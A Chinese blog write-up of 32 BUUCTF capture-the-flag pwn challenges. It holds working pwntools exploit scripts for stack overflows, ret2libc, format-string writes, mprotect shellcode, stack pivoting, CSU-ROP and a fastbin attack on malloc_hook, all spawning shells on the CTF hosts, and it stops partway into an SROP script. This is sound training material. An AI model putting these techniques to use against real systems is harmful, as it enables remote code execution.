• BUUCTF-PWN-第一页writep(32题)


    温故而知新,可以为师矣。所以花了几天时间重新做了下 buuctf 的 pwn 题,先发下第一页共 32 题的题解。还有如果题解都很详细那么本文就太长了,写起来也浪费时间,所以比较简单的题就直接丢 exp 了,不懂可以去看其他人的题解,难的题我觉得我写的题解应该是挺详细的。截至到发文日期,只要是涉及 libc 的题目的 exp 都是能打通远程的。如有错误评论欢迎指正。

     

    test_your_nc

    直接 nc 连接即可得到 shell

     rip

    简单的 ret2text ,不过靶机是 ubuntu18 ,要注意用 ret 指令进行栈对齐

    复制代码
    from pwn import *
    from LibcSearcher import *
    context.log_level='debug'
    
    p = remote('node4.buuoj.cn', 28520)
    #p = process('pwn1')
    elf = ELF('pwn1')
    
    #p.recv()
    ret = 0x0000000000401016
    payload = b'a'*(0xf+8) + p64(ret) + p64(elf.sym['fun'])
    p.sendline(payload)
    p.interactive()
    复制代码

    warmup_csaw_2016

    复制代码
    from pwn import *
    from LibcSearcher import *
    context.log_level='debug'
    
    p = remote('node4.buuoj.cn', 26284)
    #p = process('pwn1')
    elf = ELF('pwn1')
    
    p.recv()
    payload = b'a'*(0x40+8) + p64(0x40060d)
    p.sendline(payload)
    p.interactive()
    复制代码

    ciscn_2019_n_1

      直接通过 IDA 查看 v1 与 v2 的距离,通过溢出覆盖 v2 的值

    from pwn import *
    p = remote("node4.buuoj.cn",26954)
    payload = b'a'*44 + p64(0x41348000) //应该将浮点数转为十六进制
    p.send(payload)
    p.interactive()

    pwn1_sctf_2016

    跟着main主函数,发现vuln函数这里有溢出漏洞

     

     这里的fgets限制了输入的长度,一看是没有溢出漏洞的,但是下面的replace函数会将输入的 ‘I' 替换成 ’you‘,我们可以根据这个实现溢出漏洞

    并且发现了 get_flag 函数的地址

     于是构造exp如下

    复制代码
    from pwn import *
    connect = 1
    if connect:
    p = remote("node4.buuoj.cn",29821)
    else:
    p = process('1')
    payload = b'I'*20 + b'a'*4 + p32(0x8048F0D)
    p.send(payload)
    p.interactive()
    复制代码

     jarvisoj_level0

    复制代码
    from pwn import *
    from LibcSearcher import *
    context.log_level='debug'
    
    p = remote('node4.buuoj.cn', 26366)
    #p = process('pwn1')
    elf = ELF('level0')
    
    p.recv()
    payload = b'a'*0x88 + p64(elf.sym['callsystem'])
    p.sendline(payload)
    p.interactive()
    复制代码

    [第五空间2019 决赛]PWN5

    存在格式化字符串漏洞,只要第二次输入的次和随机值 dword_804c44 相等,即可得到shell
    利用 %n 修改dword_804c044 的值
    于是构造exp如下
    复制代码
    from pwn import *
    from LibcSearcher import *
    p = process("./pwn")
    data_addr = 0x804c044
    payload = p32(data_addr) + b"%10$n"
    p.recv()
    p.sendline(payload)
    p.recv()
    p.sendline(b'4')
    p.interactive()
    复制代码

     也可以利用 pwntools 的 fmtstr_payload 实现

    复制代码
    from pwn import *
    proc_name = './pwn'
    sh = process(proc_name)
    
    unk_804C044 = 0x804C044
    
    payload = fmtstr_payload(10, {unk_804C044: 0x1})
    sh.sendline(payload)
    sh.sendline(str(0x1))
    sh.interactive()
    复制代码

    ciscn_2019_c_1

    最终在encrypt()函数这找到溢出漏洞

     利用 \x00 进行字符截断,就不会对后面的 payload 进行加密了

    之后就是 ret2libc,并且要注意栈平衡

    复制代码
    from pwn import *
    from LibcSearcher import *
    #p = process("./1")
    p = remote("node4.buuoj.cn", 28810)
    elf = ELF("./1")
    pop_rdi = 0x0000000000400c83
    ret = 0x00000000004006b9
    puts_got = elf.got["puts"]
    puts_plt = elf.plt["puts"]
    main_addr = elf.symbols["main"]
    
    #first : get puts_addr
    payload1 = b'\0' + b'a'*(0x50 + 7) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
    p.sendlineafter('Input your choice!\n', '1')
    p.sendlineafter('Input your Plaintext to be encrypted\n', payload1)
    p.recvline() #注意这里接受两行
    p.recvline()
    text = p.recv()
    puts_addr = u64(text[:6].ljust(8,b'\x00'))  //实测如果这里不补足8位,u64无法转换
    
    #secode : get libcbase and other fuction addrs
    libc = LibcSearcher("puts", puts_addr)
    libcbase = puts_addr - libc.dump("puts")
    #print(libcbase)
    system_addr = libcbase + libc.dump("system")
    binsh_addr = libcbase + libc.dump("str_bin_sh")
    
    #third : get shell
    p.sendline(b'1')
    p.recv()
    payload2 = b'\0' + b'a'*(0x50 + 7) + p64(ret) + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)
    p.sendline(payload2)
    p.interactive()
    复制代码

     ciscn_2019_n_8

     

    如图,QWORD 代表代表了四个字节,将var[17]赋值为17即可

    复制代码
    from pwn import*
    
    #p = process("./1")
    p = remote("node4.buuoj.cn", 29946)
    p.recv()
    payload = b'a'*13*4 + p32(0x11)
    #payload = p32(17)*14
    p.sendline(payload)
    p.interactive()
    复制代码

    jarvisoj_level2

    复制代码
    from pwn import *
    from LibcSearcher import *
    context.log_level='debug'
    
    #p = remote('node4.buuoj.cn', 27484)
    p = process('pwn')
    elf = ELF('pwn')
    
    p.recv()
    payload = b'a'*140 + p32(elf.sym['system']) + p32(0) + p32(next(elf.search(b'/bin/sh\x00')))
    p.sendline(payload)
    p.interactive()
    p.recv()
    复制代码

     bjdctf_2020_babystack

    复制代码
    from pwn import *
    from LibcSearcher import *
    context.log_level='debug'
    
    #p = process('pwn')
    p = remote('node4.buuoj.cn', 27053)
    elf = ELF('pwn')
    
    p.recv()
    payload = b'a'*24 + p64(elf.sym['backdoor'])
    p.sendline(b'50')
    p.recv()
    p.sendline(payload)
    p.interactive()
    复制代码

    [OGeek2019]babyrop

    main
    0
    sub_804871F
    0
    sub_80487D0
    0
    明显的 ret2libc ,搜先要绕过 strncmp 的检测,这里可以用截断符绕过
    其次是第二个函数写入的 buf 的字节数要尽可能的大,所以要覆盖 buf[7],注意这里修改为 127 也是不够的,得修改大些
    复制代码
    from pwn import *
    from LibcSearcher import *
    context.log_level='debug'
    
    #p = process('pwn')
    p = remote('node4.buuoj.cn', 28494)
    elf = ELF('pwn')
    
    payload = b'\x00' + b'\xff'*7
    p.sendline(payload)
    p.recv()
    payload = b'a'*235 + p32(elf.sym['puts']) + p32(0x8048825) + p32(elf.got['puts'])
    p.send(payload)
    
    puts_addr = u32(p.recvuntil(b'\xf7'))
    print(hex(puts_addr))
    
    libc = ELF('buu/libc-2.23.so')
    libcbase = puts_addr - libc.sym['puts']
    system = libcbase + libc.sym['system']
    binsh = libcbase + next(libc.search(b'/bin/sh\x00'))
    
    
    payload = b'\x00' + b'\xff'*7
    p.sendline(payload)
    p.recv()
    payload = b'a'*235 + p32(system) + p32(0) + p32(binsh)
    p.sendline(payload)
    p.interactive()
    复制代码

     get_started_3dsctf_2016

    有个坑点,如果没有跳转到exit函数结束的话,程序不能够回显,即flag不会被输出到屏幕上

    复制代码
    from pwn import *
    from LibcSearcher import *
    context.log_level = 'debug'
    #context(os='linux', arch='amd64')
    
    #p = process('./1')
    p = remote('node4.buuoj.cn', 27088)
    elf = ELF('1')
    
    exit_addr = elf.symbols['exit']
    getflag_addr = elf.symbols['get_flag']
    
    payload = b'a'*56 + p32(getflag_addr) + p32(exit_addr) + p32(0x308CD64F) + p32(0x195719D1)
    p.sendline(payload)
    print(p.recv())
    复制代码
    另外的方法,利用 mprotect 函数写入 shellcode 执行
    我们可以通过 mprotect 函数将一段内存设置成可执行内存,来执行shellcode
    需要指出的是,指定的内存区间必须包含整个内存页(4K)。区间开始的地址start必须是一个内存页的起始地址,并且区间长度len必须是页大小的整数倍。
    就这样,我们就可以将一段地址弄成可以执行的了。因为程序本身也是静态编译,所以地址是不会变的。
    由于要是页的整数倍,所以我们取内存起始地址为 0x080eb000 ,大小为 0x1000,prot为7
    找到能 pop 3 的指令

     于是我们构造以下payload

     

    复制代码
    from pwn import *
    from LibcSearcher import *
    context.log_level = 'debug'
    #context(os='linux', arch='amd64')
    
    #p = process('./1')
    p = remote('node4.buuoj.cn', 27088)
    elf = ELF('1')
    
    pop3_addr = 0x0806fc08
    mprotect_addr = elf.symbols['mprotect']
    read_addr = elf.symbols['read']
    buf_addr = 0x080eb000
    
    payload = b'a'*56
    payload += p32(mprotect_addr) + p32(pop3_addr) + p32(buf_addr) + p32(0x1000) + p32(0x7)
    payload += p32(read_addr) + p32(pop3_addr) + p32(0) + p32(buf_addr) + p32(0x100)
    payload += p32(buf_addr)
    
    p.sendline(payload)
    shellcode = asm(shellcraft.sh())
    p.sendline(shellcode)
    p.interactive()
    复制代码

    jarvisoj_level2_x64

     64位下的 ret2text

    复制代码
    from pwn import *
    from LibcSearcher import *
    context.log_level='debug'
    
    #p = process('pwn')
    p = remote('node4.buuoj.cn', 28941)
    elf = ELF('pwn')
    
    rdi = 0x4006b3
    payload = b'a'*0x88 + p64(rdi) + p64(next(elf.search(b'/bin/sh\x00'))) + p64(elf.sym['system'])
    p.recv()
    p.sendline(payload)
    p.interactive()
    复制代码

     [HarekazeCTF2019]baby_rop

    复制代码
    from pwn import *
    from LibcSearcher import *
    context.log_level='debug'
    
    #p = process('pwn')
    p = remote('node4.buuoj.cn', 27109)
    elf = ELF('pwn')
    
    rdi = 0x400683
    payload = b'a'*0x18 + p64(rdi) + p64(next(elf.search(b'/bin/sh\x00'))) + p64(elf.sym['system'])
    p.recv()
    p.sendline(payload)
    p.interactive()
    复制代码

     ciscn_2019_en_2

    复制代码
    from pwn import *
    from LibcSearcher import *
    context.log_level='debug'
    
    #p = process('pwn')
    p = remote('node4.buuoj.cn', 29131)
    elf = ELF('pwn')
    
    ret = 0x4006b9
    rdi = 0x400c83
    
    p.recv()
    p.sendline(b'1')
    payload = b'\x00' + b'a'*0x57 + p64(rdi) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(elf.sym['main'])
    p.sendlineafter(b'Input your Plaintext to be encrypted\n', payload)
    
    puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
    #print(hex(puts_addr))
    libc = ELF('buu/libc-2.27-x64.so')
    libcbase = puts_addr - libc.sym['puts']
    system = libcbase + libc.sym['system']
    binsh = libcbase + next(libc.search(b'/bin/sh\x00'))
    
    p.recv()
    p.sendline(b'1')
    payload = b'\x00' + b'a'*0x57 + p64(ret) + p64(rdi) + p64(binsh) + p64(system)
    p.sendlineafter(b'Input your Plaintext to be encrypted\n', payload)
    p.interactive()
    复制代码

    not_the_same_3dsctf_2016

    跟前面一道题比较类似

    复制代码
    from pwn import *
    from LibcSearcher import *
    context.log_level = 'debug'
    #context(os='linux', arch='amd64')
    
    #p = process('./1')
    p = remote('node4.buuoj.cn', 28016)
    elf = ELF('1')
    
    get_secret_addr = elf.symbols['get_secret']
    exit_addr = elf.symbols['exit']
    write_addr = elf.symbols['write']
    flag_addr = 0x080ECA2D
    
    payload = b'a'*45 + p32(get_secret_addr) + p32(write_addr) + p32(exit_addr) + p32(1) + p32(flag_addr) + p32(0x100)
    p.sendline(payload)
    print(p.recv())
    复制代码

     ciscn_2019_n_5

    裸的 ret2libc
    复制代码
    from pwn import *
    from LibcSearcher import *
    context.log_level='debug'
    
    #p = process('pwn')
    p = remote('node4.buuoj.cn', 26628)
    elf = ELF('pwn')
    
    ret = 0x00000000004004c9
    rdi = 0x0000000000400713
    
    p.sendlineafter(b'tell me your name\n', 'w1nd')
    payload = b'a'*0x28 + p64(rdi) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(elf.sym['main'])
    p.sendlineafter(b'What do you want to say to me?\n', payload)
    
    puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
    libc = ELF('buu/libc-2.27-x64.so')
    libcbase = puts_addr - libc.sym['puts']
    system = libcbase + libc.sym['system']
    binsh = libcbase + next(libc.search(b'/bin/sh\x00'))
    
    p.sendlineafter(b'tell me your name\n', 'w1nd')
    payload = b'a'*0x28 + p64(ret) + p64(rdi) + p64(binsh) + p64(system)
    p.sendlineafter(b'What do you want to say to me?\n', payload)
    
    p.interactive()
    复制代码

     others_shellcode

     直接 nc

    execve 系统调用
    0

    ciscn_2019_ne_5

     

    这里的 strcpy 函数导致了栈溢出漏洞

     在构造payload的时候,记得system函数地址后的返回地址四个字节不能有一个为零,否则strcpy函数复制的时候遇到 \x00 就不继续复制了

    复制代码
    from pwn import *
    from LibcSearcher import *
    #context.log_level = 'debug'
    #context(os='linux', arch='amd64')
    
    #p = process('./1')
    p = remote("node4.buuoj.cn", 29577)
    elf = ELF('1')
    system_addr = elf.symbols['system']
    sh_addr = next(elf.search(b'sh\x00'))
    ret = 0x0804843e
    
    p.sendlineafter('Please input admin password', 'administrator')
    p.sendlineafter('0.Exit\n:', '1')
    
    payload = b'a'*(0x48+4) + p32(system_addr) + b'a'*4 + p32(sh_addr) #所以这里写成了 b'a'*4
    p.sendlineafter('Please input new log info:', payload)
    p.sendlineafter('0.Exit\n:', '4')
    p.interactive()
    复制代码

     铁人三项(第五赛区)_2018_rop

     这里用 write 泄露 libc,其它都很寻常的 ret2libc

    复制代码
    from pwn import *
    from LibcSearcher import *
    context.log_level='debug'
    
    #p = process('pwn')
    p = remote('node4.buuoj.cn', 29939)
    elf = ELF('pwn')
    
    payload = b'a'*0x8c + p32(elf.sym['write']) + p32(elf.sym['main']) + p32(1) + p32(elf.got['write']) + p32(0x4)
    p.sendline(payload)
    
    write_addr = u32(p.recv())
    libc = ELF('buu/libc-2.27.so')
    libcbase = write_addr - libc.sym['write']
    system = libcbase + libc.sym['system']
    binsh = libcbase + next(libc.search(b'/bin/sh\x00'))
    
    payload = b'a'*0x8c + p32(system) + p32(0) + p32(binsh)
    p.sendline(payload)
    p.interactive()
    复制代码

    bjdctf_2020_babyrop

    普通的 ret2libc
    复制代码
    from pwn import *
    from LibcSearcher import *
    context.log_level='debug'
    
    #p = process('pwn')
    p = remote('node4.buuoj.cn', 26698)
    elf = ELF('pwn')
    
    rdi = 0x400733
    ret = 0x4004c9
    
    payload = b'a'*0x28 + p64(rdi) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(elf.sym['main'])
    p.sendlineafter(b'story!\n', payload)
    
    puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
    libc = ELF('buu/libc-2.23-x64.so')
    libcbase = puts_addr - libc.sym['puts']
    system = libcbase + libc.sym['system']
    binsh = libcbase + next(libc.search(b'/bin/sh\x00'))
    
    payload = b'a'*0x28 + p64(rdi) + p64(binsh) + p64(system)
    p.sendlineafter(b'story!\n', payload)
    p.interactive()
    复制代码

     bjdctf_2020_babystack2

    简单的整数溢出和ret2text
    复制代码
    from pwn import *
    from LibcSearcher import *
    context.log_level='debug'
    
    #p = process('pwn')
    p = remote('node4.buuoj.cn', 27408)
    elf = ELF('pwn')
    
    p.sendlineafter(b'your name:\n', '-1')
    payload = b'a'*0x18 + p64(elf.sym['backdoor'])
    p.sendlineafter(b'u name?\n', payload)
    p.interactive()
    复制代码

    jarvisoj_fm

     格式化字符串漏洞

    调试可知是第十一个参数

    exp

    复制代码
    from pwn import *
    from LibcSearcher import *
    context.log_level='debug'
    
    p = process('pwn')
    #p = remote('node4.buuoj.cn', 26628)
    elf = ELF('pwn')
    
    x_addr = 0x804A02C
    #payload = fmtstr_payload(11,{x_addr:4})
    payload = p32(x_addr) + b'%11$n'
    p.sendline(payload)
    #print(p.recv())
    p.interactive()
    复制代码

    pwn2_sctf_2016 

     简单的整数溢出和 ret2libc,但是坑的是

    最后调用 system('/bin/sh') 的时候,如果用 p32(0) 会导致打不通

     看汇编代码才发现,原来程序读字符串用的是自定义的 get_n 函数

    0
    读到 \x00 它就断了
    复制代码
    from pwn import *
    from LibcSearcher import *
    context.log_level='debug'
    
    #p = process('pwn')
    p = remote('node4.buuoj.cn', 25339)
    elf = ELF('pwn')
    
    p.sendlineafter(b'to read?', b'-1')
    payload = b'a'*0x30 + p32(elf.plt['printf']) + p32(elf.sym['main']) + p32(0x80486F8) +  p32(elf.got['printf'])
    p.sendlineafter(b'bytes of data!\n', payload)
    p.recvline()
    p.recvuntil(b'You said: ')
    printf_addr = u32(p.recv(4))
    
    
    libc = ELF('buu/libc-2.23.so')
    libcbase = printf_addr - libc.sym['printf']
    system = libcbase + libc.sym['system']
    binsh = libcbase + next(libc.search(b'/bin/sh\x00'))
    
    p.sendlineafter(b'to read?', b'-1')
    payload = b'a'*0x30 + p32(system) + b'a'*4 + p32(binsh) #注意这里
    p.sendlineafter(b'bytes of data!\n', payload)
    p.interactive()
    复制代码

     ciscn_2019_es_2

    main
    0
    vul
    0
    hack
    0
    咋一看是道很简单的栈溢出,不过,只能溢出8个字节,覆盖ebp和ret,而且 hack 不能拿到flag
    这是一道 栈转移 的问题,栈迁移核心思想就是利用leave和ret转移ebp和esp。leave和ret常用于复原栈
    leave=mov esp,ebp ;pop ebp
    ret=pop eip
    由于 mov esp,ebp 后,pop ebp,pop eip 后,eip会指向 esp 下一条指令的位置,所以 esp 的位置要填充无用数据, esp 的下一条指令再填充system函数的地址,后面再填充所需的数据
    由gdb可知 esp 距离 ebp 的偏移为 0x38

    payload 构成如下

     

    IDA中可以找到很多 leave 指令

     

    exp如下

    复制代码
    from pwn import *
    from LibcSearcher import *
    #context.log_level = 'debug'
    #context(os='linux', arch='amd64')
    
    #p = process('./1')
    p = remote('node4.buuoj.cn', 28244)
    elf = ELF('1')
    
    leave = 0x080484B8
    system_addr = elf.symbols['system']
    
    p.send(b'a'*36 + b'stop')
    p.recvuntil(b'stop')
    ebp = u32(p.recv(4))
    
    payload = (b'a'*4 + p32(system_addr) + b'a'*4 + p32(ebp-0x28) + b'/bin/sh\x00').ljust(0x28, b'a')
    payload += p32(ebp-0x38) + p32(leave)
    p.send(payload)
    p.interactive()
    复制代码

    [HarekazeCTF2019]baby_rop2

     64位下的 printf 函数泄露 libc

    坑的是如果是泄露 printf@got 是会失败的
    复制代码
    from pwn import *
    from LibcSearcher import *
    context.log_level='debug'
    
    #p = process('pwn')
    p = remote('node4.buuoj.cn', 27227)
    elf = ELF('pwn')
    
    rdi = 0x400733
    rsi_r15 = 0x400731
    ret = 0x4004d1
    #%s
    str_s = 0x400770 
    
    payload = b'a'*0x28 + p64(rdi) + p64(str_s) + p64(rsi_r15) + p64(elf.got['read']) + p64(0) + p64(elf.plt['printf']) + p64(elf.sym['main'])
    p.sendlineafter(b'What\'s your name? ',payload)
    p.recvline()
    read_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
    
    libc = ELF('buu/libc-2.23-x64.so')
    libcbase = read_addr - libc.sym['read']
    system = libcbase + libc.sym['system']
    binsh = libcbase + next(libc.search(b'/bin/sh\x00'))
    
    payload = b'a'*0x28 + p64(rdi) + p64(binsh) + p64(system)
    p.sendlineafter(b'What\'s your name? ',payload)
    p.interactive()
    复制代码

    jarvisoj_tell_me_something

    需要 gdb 动态调试 ,或者注意下汇编代码

    复制代码
    from pwn import *
    from LibcSearcher import *
    context.log_level='debug'
    
    #p = process('pwn')
    p = remote('node4.buuoj.cn', 28205)
    elf = ELF('pwn')
    
    rdi = 0x400668
    ret = 0x400469
    
    payload = b'a'*0x88 + p64(elf.sym['good_game'])
    p.sendlineafter(b'Input your message:\n', payload)
    p.recv()
    p.recv()
    复制代码

    babyheap_0ctf_2017

    菜单堆题,保护措施一般全开。。。。
    0
    其中,新增堆块的时候可以自定义大小
    0
    为堆块写入内容的时候也可以自定义大小写入
    0
    那么就可以造成堆溢出,其它的都很寻常
    攻击流程:
    1.利用 unsortbin 泄露 libcbase
    2.劫持 malloc_hook ,修改为 one_gadget
     
    首先我们要做的是利用 unsortedbin 只有一个 chunk 时,其 chunk 的 fd 指向 与 main_arena 固定偏移的地方,然后利用 fastbin attack 泄露,获得 libcbase
    先申请堆块,堆块0 是为了利用堆溢出修改其它堆块,堆块1 和 堆块2 用来 泄露堆块4 的 fd
    复制代码
    allocate(0x10)
    allocate(0x10) 
    allocate(0x10) 
    allocate(0x10) 
    allocate(0x80) 
    free(1) 
    free(2)
    复制代码
    free 后可以看到堆块2 的 fd 指向堆块1
    接下来是修改堆块2 的 fd,使其指向堆块4
    payload = p64(0)*3 + p64(0x21) + p64(0)*3 + p64(0x21) + p8(0x80) 
    fill(0,payload)
    可以看到堆块4 已经加入了 fastbin
    但是 fastbin 不能容纳 0x91 的 chunk ,并且我们重新 allcate 时也要过内存检测,所以继续利用堆溢出修改堆块4的大小
    payload = p64(0)*3 + p64(0x21) 
    fill(3,payload)
    可以看到正常的 free 状态的 堆块4,但是由于部分空间不在堆块的范围内,所以看不到 top chunk
    这一步比较关键
    之前因为我们 free(1) 和 free(2) ,所以 index1 和 index2 是为空的, fastbin 又是只有堆块2 和堆块4 这两个堆块,那么我们重新 allocate 时,由于 fastbin 采用头插法,所以先进的 chunk 反而后被 allocate ,所以这个时候 index1 -> 堆块2,index2 -> 堆块4 ,值得注意的是 index4 -> 堆块4 ,这样我们才能达到泄露 main_arena 的目的
    (学 pwn 六个多月了,现在回头看的话,由于四功能齐全,这里不需要利用堆溢出漏洞也能泄露 main_arena_xx ,或者利用堆溢出漏洞可以有更简单的做法,不过在网上找的 wp 基本都是这么做有些复杂了,对于刚接触堆的萌新不是很友好)
    多 allocate 一个 chunk 是防止我们 free(4) 后堆块4 和 top chunk 合并了
    复制代码
    allocate(0x10) 
    allocate(0x10) 
    payload = p64(0)*3 + p64(0x91) 
    fill(3,payload) 
    allocate(0x80) 
    free(4)
    复制代码
    调试结果如下
    还有先恢复堆块4 的大小,才能加入 unsortedbin
    由于 dump 函数的代码限制,必须 index != 0 ,才能输出内容,所以才需要利用 index4 -> 堆块4 去 free , index2 -> 堆块4 去 dump ,真的太巧妙了!!
    调试也可只泄露的 fd 距离 main_arena 的偏移量为 0x58
    wiki 中写道, main_arena -0x10 一般是 malloc_hook 的地址
    同时把 libc 中的 malloc_hook 的地址也泄露出来
    那么我们就得的 libcbase 了,偏移应该是 0x3c4b10 - 0x58 -0x10 = 0x3c4b78
    接下来就是把 malloc_hook 修改为 one_gadget,需要用到 fastbin attack
    再看此时的堆块的情况
    还有一个问题,要怎么找到合适的堆块呢,毕竟 size 的数据要符合 fastbin 的范围
    我们知道地址一般都是 0x7f 结尾,并且是小端序,所以我们可以控制 fd 指向的地址为 0x00*7 + 0x7f ,如果算上 0x10 的 prve size 和 size ,那么我们可以申请 0x60 大小的堆块
    如图,小端序中 0x7f 的数据很多
    我们是可以找到这样的数据的
    libc中 malloc_hook 的地址为 0x3c4b10 ,在图一中的地址是 0x7f02debd1b10
    图二中我们可以写入的 fd 为 0x7f02debd1aed ,相差 0x23 ,所以我们的 fd 应该为 libcbase + 0x3c4b10-0x23 ==> libcbase + 0x3c4aed
    覆写 malloc_hook 的时候,由于不考虑 prve size 和 size 这 0x10 个字节,所以我们只需要填充 0x13 的无用字节
    allocate(0x60) 
    free(4)
    切割成两个堆块,其中一个是 0x60,为 fastbin attack 做铺垫
    payload = p64(libcbase + 0x3c4aed) 
    fill(2,payload)
    修改堆块4 的fd,使其指向 malloc_hook 上面的地方
    allocate(0x60) 
    allocate(0x60)
    再申请两个 0x60 的chunk,这时候我们就可以修改 malloc_hook 了
    one_gadget = libcbase + 0x4526a 
    payload = b'a'*0x13 + p64(one_gadget) 
    fill(6, payload) 
    allocate(0x10) #跳转到 one_gadget
    成功攻击!!
    exp
    复制代码
    from pwn import *
    from LibcSearcher import *
    context.log_level='debug'
    context(os='linux', arch='amd64')
    
    p = process('./pwn')
    #p = remote('node4.buuoj.cn', 28357)
    elf = ELF('./pwn')
    libc = ELF('./buu/libc-2.23-x64.so')
    
    def allocate(size):
        p.sendlineafter("Command:", '1')
        p.sendlineafter("Size:", str(size))
    
    def fill(index, content):
        p.sendlineafter("Command:", '2')
        p.sendlineafter("Index:", str(index))
        p.sendlineafter("Size:", str(len(content)))
        p.sendafter("Content:", content)
    
    def free(index):
        p.sendlineafter("Command:", '3')
        p.sendlineafter("Index:", str(index))
    
    def dump(index):
        p.sendlineafter("Command:", '4')
        p.sendlineafter("Index:", str(index))
    
    allocate(0x10)
    allocate(0x10)
    allocate(0x10)
    allocate(0x10)
    allocate(0x80)
    
    free(1)
    free(2)
    
    payload = p64(0)*3 + p64(0x21) + p64(0)*3 + p64(0x21) + p8(0x80)
    fill(0,payload)
    
    payload = p64(0)*3 + p64(0x21)
    fill(3,payload)
    
    allocate(0x10)
    allocate(0x10)
    payload = p64(0)*3 + p64(0x91)
    fill(3,payload)
    allocate(0x80)
    free(4)
    
    dump(2)
    p.recv()
    main_arena_0x58 = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
    #libc_malloc_hook = 0x3c4b10
    libcbase = main_arena_0x58 - 0x3c4b78
    print('libcbase => ',hex(libcbase))
    
    
    allocate(0x60)
    free(4)
    payload = p64(libcbase + 0x3c4aed)
    fill(2,payload)
    
    allocate(0x60)
    allocate(0x60)
    
    one_gadget = libcbase + 0x4526a
    payload = b'a'*0x13 + p64(one_gadget)
    fill(6, payload)
    
    allocate(0x10)
    
    p.interactive()
    复制代码
    总结:堆题太灵活太富有技巧性了,怎么把技巧性的总结为经验是很重要的

    jarvisoj_level3

    简单的 ret2libc
    复制代码
    from pwn import *
    from LibcSearcher import *
    context.log_level='debug'
    
    #p = process('pwn')
    p = remote('node4.buuoj.cn', 29138)
    elf = ELF('pwn')
    
    payload = b'a'*140 + p32(elf.sym['write']) + p32(elf.sym['main']) + p32(0x1) + p32(elf.got['write']) + p32(0x4)
    p.sendlineafter(b'Input:\n', payload)
    
    write_addr = u32(p.recvuntil(b'\xf7'))
    print('write_addr=>',hex(write_addr))
    
    libc = ELF('buu/libc-2.23.so')
    libcbase = write_addr - libc.sym['write']
    one_gadget = libcbase + 0x3a80c
    
    payload = b'a'*140 + p32(one_gadget)
    p.sendlineafter(b'Input:\n', payload)
    p.interactive()
    复制代码

    ciscn_2019_s_3

    可以利用的程序函数很少的一道题
    0
    这里可以栈溢出,并且会打印 0x30 个字符,可以通过gdb调试看看
    程序在输入后打印的数据如下
    0
    gdb调试结果
    0
    其中,由于没开启 PIE ,所以 0x400536 没有变化直接被打印出来
    因此,如果把 aaaaaaaa 替换成 /bin/sh 时,那么,我们接受到了 0x20 开始的八个字符就是与 /bin/sh 的地址有固定偏移量的地址。偏移量为 0xdf88 - 0xde70 = 0x118 ,所以 /bin/sh 的地址就拿到了
    我们的目的是进行 execve 系统调用
    复制代码
    $rax==59 
    $rdi== binsh_addr
    $rsi==0
    $rdx==0
    syscall
    复制代码
    不过 rdx 的指令利用 ROPgadget 找不到
    所以就是 CSU_ROP 了
    看这两处区域,其中 0x400580 可以帮助我们控制 rdx 寄存器,但是一旦运行到 0x400589 这里,那么就会跳转到 [r12 + 0] ,所以要注意控制 r12 寄存器,并且,cmp 跳转这里的 rbp 寄存器也是需要我们去控制的
    需要控制这么多的寄存器,那么就只有下面的 0x40059A 开始的指令合适了
    那么二次攻击的 payload 就应该是 像将 rbx rbp r12 r13 r14 r15 放入构造好的值,以便接下来利用 0x400580 指令时程序能够顺利执行 shellcode
    接下来要弄清楚我们要应该给 r12 传什么值
    首先我们的二次攻击 pyload 应该是这样的
    /bin/sh\x00 # binsh_addr
    b'a'*8 #填充到 ret
    rbx_rbp_r12_r13_r14_r15
    rbx => 0
    rbp => 1 #避免跳转
    r12 =>
    r13 => 0
    r14 => 0
    r15 => 0
    r13_rdx # rdx 赋值完毕 开始执行 call cmp 指令
    rdi # call 应该跳转到这里,binsh_addr + 0x50
    rdi => binsh_addr # rdi 赋值完毕
    rsi_r15
    rsi => 0 # rsi 赋值完毕
    r15 => 0
    rax_3b
    rax => 3b # rax 赋值完毕
    syscall #进行系统调用 getshell
    注:每一格的大小为 0x8
    有两个坑点,第一个真的特别坑,ubuntu16调试的话, 0x20 后泄露的地址与 /bin/sh 的偏移量是 0x118, ubuntu22 是 0x148,还有如果第一次攻击后跳转到 main 函数的话,偏移量应该要是 0x138 ,只有跳转到 vuln 函数才能是 0x118
    第二个是没有汇编指令中 leave ,所以直接覆盖 ret 就行
    exp
    复制代码
    from pwn import *
    from LibcSearcher import *
    context.log_level='debug'
    
    #p = process('pwn')
    p = remote('node4.buuoj.cn', 26376)
    elf = ELF('pwn')
    
    rax_3b = 0x4004E2
    rdi = 0x4005a3
    rsi_r15 = 0x4005a1
    rbx_rbp_r12_r13_r14_r15 = 0x40059A
    r13_rdx = 0x400580
    syscall = 0x400517
    
    payload = b'a'*0x10 + p64(elf.sym['vuln'])
    p.sendline(payload)
    p.recv(0x20)
    binsh = u64(p.recv(6).ljust(8, b'\x00')) - 0x118
    print('binsh=>',hex(binsh))
    
    
    payload = b'/bin/sh\x00'
    payload = payload.ljust(0x10, b'a')
    payload += p64(rbx_rbp_r12_r13_r14_r15) + p64(0) + p64(1) + p64(binsh + 0x50) + p64(0)*3
    payload += p64(r13_rdx)
    payload += p64(rdi) + p64(binsh)
    payload += p64(rsi_r15) + p64(0)*2
    payload += p64(rax_3b)
    payload += p64(syscall)
    
    p.sendline(payload)
    
    p.interactive()
    复制代码
    不懂,为什么偏移要随跳转函数的改变而改变,是因为vuln 调用 main 和 main 调用 vuln 栈中多压入 rbp 和 rip 吗,所以多了 0x20 ,但是我调试的时候貌似 buf 的地址会改变,第二次泄露的地址就是第一次泄露的地址 - 0x118 。而且是在第一次攻击调用 main 函数的情况下。当然这是本地调试的情况,远程就不清楚了(现在回头看的话,猜测是 main 函数在进入 vuln 函数前进行了多次压栈,当然刚接触这里的时候没人教还不知道 patchelf ,buuctf 的题目 libc 都是固定的,只需要 patchelf 就没有这种烦恼了)
    还可以用 SROP 的方法做
    复制代码
    from pwn import *
    from LibcSearcher import *
    context.log_level='debug'
    context(os='linux', arch='amd64')
    
    #p = process('pwn')
